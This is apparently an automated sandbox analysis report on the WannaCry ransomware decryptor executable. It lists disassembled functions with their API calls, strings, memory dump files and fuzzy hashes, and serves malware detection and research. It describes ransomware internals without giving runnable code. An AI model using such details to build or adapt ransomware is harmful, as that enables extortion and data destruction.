                                                                                                                          Function 00407F80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • fopen.MSVCRT ref: 00407FBD
                                                                                                                          • fread.MSVCRT ref: 00407FDD
                                                                                                                          • fclose.MSVCRT ref: 00407FE4
                                                                                                                            • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
                                                                                                                            • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
                                                                                                                            • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE
                                                                                                                            • Part of subcall function 0040C4F0: strncpy.MSVCRT ref: 0040C628
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: strncpy$fclosefopenfread
                                                                                                                          • String ID: +++$00000000.res$s.wnry
                                                                                                                          • API String ID: 3363958884-869915597
                                                                                                                          • Opcode ID: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                                                                                                          • Instruction ID: e8fd78c0316e70a0a3c69cc1eb433b8a063ef73abc5183098f2ea38c2d595da4
                                                                                                                          • Opcode Fuzzy Hash: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                                                                                                          • Instruction Fuzzy Hash: D3313732600604ABD7249620DC05BFF7399EBC1324F404B3EF965B32C1EBBC6A098696
                                                                                                                          Function 00401220 Relevance: 10.6, APIs: 7, Instructions: 53windowtimeCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00000402,00000028,00000000), ref: 00401253
                                                                                                                          • KillTimer.USER32(?,000003E9), ref: 0040125E
                                                                                                                          • #4853.MFC42 ref: 00401266
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 0040127B
                                                                                                                          • SendMessageA.USER32(?,00000405,00000000,00000000), ref: 00401295
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 004012B1
                                                                                                                          • #2379.MFC42 ref: 004012C4
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#2379#4853KillTimer
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 178170520-0
                                                                                                                          • Opcode ID: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                                                                                                          • Instruction ID: aacaf11b8525f3fa08346ebc997e4185e7a595c9bc7dc659aa73715d177cc548
                                                                                                                          • Opcode Fuzzy Hash: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                                                                                                          • Instruction Fuzzy Hash: FD114475340B00ABD6709A74CD41F6BB3D4BB94B10F20892DF395FB2D0DAB4B8068B58
                                                                                                                          Function 00403860 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43windowthreadCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040387A
                                                                                                                          • #1200.MFC42(Please select a host to decrypt.,00000000,00000000), ref: 0040388A
                                                                                                                          • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 0040389F
                                                                                                                          • SendMessageA.USER32(?,00001009,00000000,00000000), ref: 004038B5
                                                                                                                          • CreateThread.KERNEL32(00000000,00000000,004038E0,?,00000000,00000000), ref: 004038C5
                                                                                                                          Strings
                                                                                                                          • Please select a host to decrypt., xrefs: 00403885
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#1200CreateThread
                                                                                                                          • String ID: Please select a host to decrypt.
                                                                                                                          • API String ID: 3616405048-3459725315
                                                                                                                          • Opcode ID: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                                                                                                          • Instruction ID: 64f0ddf58892c59834d5d68b98c76a24f926c69eeefbcfa1eb30c508a9047c0d
                                                                                                                          • Opcode Fuzzy Hash: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                                                                                                          • Instruction Fuzzy Hash: C4F09032380700BAF2306775AC07FEB2698ABC4F21F25462AF718BA2C0C5F478018668
                                                                                                                          Function 004044C0 Relevance: 10.5, APIs: 7, Instructions: 38windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetParent.USER32(?), ref: 004044D2
                                                                                                                          • #2864.MFC42(00000000), ref: 004044D9
                                                                                                                          • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                                                                                                          • #2860.MFC42(00000000), ref: 004044EF
                                                                                                                          • GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                                                                                                          • CreateFontIndirectA.GDI32(?), ref: 00404513
                                                                                                                          • #1641.MFC42(00000000), ref: 0040451D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #1641#2860#2864CreateFontIndirectMessageObjectParentSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2724197214-0
                                                                                                                          • Opcode ID: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                                                                                                          • Instruction ID: 8763edc8e5a6adeaffa7a86524b671660dad1b09e215c7e2bee76a425fbc91e9
                                                                                                                          • Opcode Fuzzy Hash: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                                                                                                          • Instruction Fuzzy Hash: 5AF0A4B1100340AFD720EB74DE49FDB7BA86F94304F04891DB649DB1A1DAB4E944C769
                                                                                                                          Function 0040C060 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
                                                                                                                          • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
                                                                                                                          • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
                                                                                                                          • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
                                                                                                                          • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#823
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3019263841-0
                                                                                                                          • Opcode ID: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                                                                                                          • Instruction ID: af0acaa543f5011fd428c8da5e8f88cfa40878c60dbd15804793c53c70a14286
                                                                                                                          • Opcode Fuzzy Hash: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                                                                                                          • Instruction Fuzzy Hash: 4A41B570644341EBD220DF65CC85F5BB7A8BF84724F104B2DF5247B2D1C7B4A9098BAA
                                                                                                                          Function 00409C20 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #3797.MFC42 ref: 00409C27
                                                                                                                          • #6734.MFC42(?,?), ref: 00409C4E
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00409C68
                                                                                                                          • #4284.MFC42(00004000,00000000,00000000,?,?), ref: 00409CCD
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #3797#4284#6734MessageSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1776784669-0
                                                                                                                          • Opcode ID: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                                                                                                          • Instruction ID: 0f06e6a1ab2a1e1858972f557de936d8f63d8015e647da1bd90f7003a846fc2f
                                                                                                                          • Opcode Fuzzy Hash: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                                                                                                          • Instruction Fuzzy Hash: 2F31B0727447019BE724DE28DD81B6B73E1ABC8700F10493EFA86A73C1DA78EC468759
                                                                                                                          Function 004127E0 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #823.MFC42(00000244,?,00000428,?,?,0041438B,000000FF,00412933,?,00000000,00000002,?,0040B6CF,?,?), ref: 004127FD
                                                                                                                          • #823.MFC42(?,?,?), ref: 00412849
                                                                                                                          • #825.MFC42(?), ref: 004128B5
                                                                                                                          • #825.MFC42(?), ref: 004128CE
                                                                                                                          • #825.MFC42(00000000), ref: 004128DD
                                                                                                                          • #823.MFC42(00000008), ref: 004128FA
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #823#825
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 89657779-0
                                                                                                                          • Opcode ID: bc9fd826f285be58a03796ead1f3b19fceaad810a23cc7ffcdcb9fcada04bb4e
                                                                                                                          • Instruction ID: dc1b5eec0fc78afcb49772100b5c76d6e8760601cde25cb5382a27e7a1041640
                                                                                                                          • Opcode Fuzzy Hash: bc9fd826f285be58a03796ead1f3b19fceaad810a23cc7ffcdcb9fcada04bb4e
                                                                                                                          • Instruction Fuzzy Hash: 8631A5B16006008BDB149F2E8D8169BB6D5FBC4720F18473EF929CB3C1EBB99951C755
                                                                                                                          Function 0040B780 Relevance: 9.1, APIs: 6, Instructions: 68filenetworkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateDirectoryA.KERNEL32(?,00000000,?,762F3310,00000428), ref: 0040B793
                                                                                                                          • GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                                                                                                          • DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                                                                                                          • URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040B815
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040B82C
                                                                                                                            • Part of subcall function 0040B6A0: CreateDirectoryA.KERNELBASE(?,00000000,?,762F3310,00000000,00000428), ref: 0040B6B4
                                                                                                                            • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Delete$CreateDirectory$CacheDownloadEntryNameTemp
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 361195595-0
                                                                                                                          • Opcode ID: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                                                                                                          • Instruction ID: f6bba9489874f0a6e7d9c3b0bbe4d647d3eb1ae806ee8fe5932772f512dcd3e1
                                                                                                                          • Opcode Fuzzy Hash: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                                                                                                          • Instruction Fuzzy Hash: 24112B76100300BBE7209B60DC85FEB379CEBC4321F00C82DF659921D1DB79550987EA
                                                                                                                          Function 00409A40 Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • OffsetRect.USER32(?,?,?), ref: 00409A9B
                                                                                                                          • CreateRectRgn.GDI32(?,?,?,?), ref: 00409AB5
                                                                                                                          • #1641.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220), ref: 00409AC0
                                                                                                                          • #5781.MFC42(0041679C,00000000), ref: 00409ACC
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409AEB
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409B04
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414Rect$#1641#5781CreateOffset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2675356817-0
                                                                                                                          • Opcode ID: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                                                                                                          • Instruction ID: 08eaaa51a6c0e03944d0349f6c05153d0be232de021c7e29130ffbf32961e4dd
                                                                                                                          • Opcode Fuzzy Hash: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                                                                                                          • Instruction Fuzzy Hash: 7621E9B5204701AFD304DF14C995FABB7E8EB88B04F108A1DF58697291CB78EC45CB96
                                                                                                                          Function 004034A0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#2414#283ClientRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3728838672-0
                                                                                                                          • Opcode ID: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                                                                                                          • Instruction ID: 278ac0b80a8d68711b6ced8a2ef72b48c78586c4dd5442d856e74ad00dc42751
                                                                                                                          • Opcode Fuzzy Hash: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                                                                                                          • Instruction Fuzzy Hash: DB113375204741AFC314DF69D985F9BB7E8FB88714F008A1EB55AD3280DB78E8448B55
                                                                                                                          Function 00406940 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#2414#283ClientRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3728838672-0
                                                                                                                          • Opcode ID: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                                                                                                          • Instruction ID: 6a096d29dde81ab0807628e72033e91f5df492254ff76bbe7bc423a6b66a9ecc
                                                                                                                          • Opcode Fuzzy Hash: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                                                                                                          • Instruction Fuzzy Hash: CB113375204741AFC314DF69D985F9BB7E8FB8C714F008A1EB599D3280DB78D8058BA5
                                                                                                                          Function 00404EB0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#2414#283ClientRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3728838672-0
                                                                                                                          • Opcode ID: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                                                                                                          • Instruction ID: d163b7983d6ef18c2c490a4321b6073019a727c2a72f1ecd8d9e2d5251008e6b
                                                                                                                          • Opcode Fuzzy Hash: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                                                                                                          • Instruction Fuzzy Hash: CB113375204701AFC314DF69D985F9BB7E8FB88714F008A1EB599D3280DB78D8058B55
                                                                                                                          Function 00404310 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #470.MFC42(?,00000000), ref: 0040433F
                                                                                                                          • #5789.MFC42 ref: 00404354
                                                                                                                          • #5875.MFC42(00000001), ref: 00404361
                                                                                                                          • #6172.MFC42(?,00000001), ref: 0040436E
                                                                                                                          • #5789.MFC42(00000000), ref: 0040438F
                                                                                                                          • #755.MFC42(00000000), ref: 004043A0
                                                                                                                            • Part of subcall function 004044C0: GetParent.USER32(?), ref: 004044D2
                                                                                                                            • Part of subcall function 004044C0: #2864.MFC42(00000000), ref: 004044D9
                                                                                                                            • Part of subcall function 004044C0: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                                                                                                            • Part of subcall function 004044C0: #2860.MFC42(00000000), ref: 004044EF
                                                                                                                            • Part of subcall function 004044C0: GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                                                                                                            • Part of subcall function 004044C0: CreateFontIndirectA.GDI32(?), ref: 00404513
                                                                                                                            • Part of subcall function 004044C0: #1641.MFC42(00000000), ref: 0040451D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#1641#2860#2864#470#5875#6172#755CreateFontIndirectMessageObjectParentSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3301245081-0
                                                                                                                          • Opcode ID: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                                                                                                          • Instruction ID: 67bcf298962d36d7fa18f20cd84a87d7b1dd540c5c31f1d51ecab4020f7c2e08
                                                                                                                          • Opcode Fuzzy Hash: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                                                                                                          • Instruction Fuzzy Hash: 4611CE71104300AFC310EF14D841FDAB7A4EF94724F008A1EF5A6932D0CBB8A484CB62
                                                                                                                          Function 00403EB0 Relevance: 9.0, APIs: 6, Instructions: 24COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                                                                                                          • #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                                                                                                          • #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                                                                                                          • #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                                                                                                          • #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                                                                                                          • #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
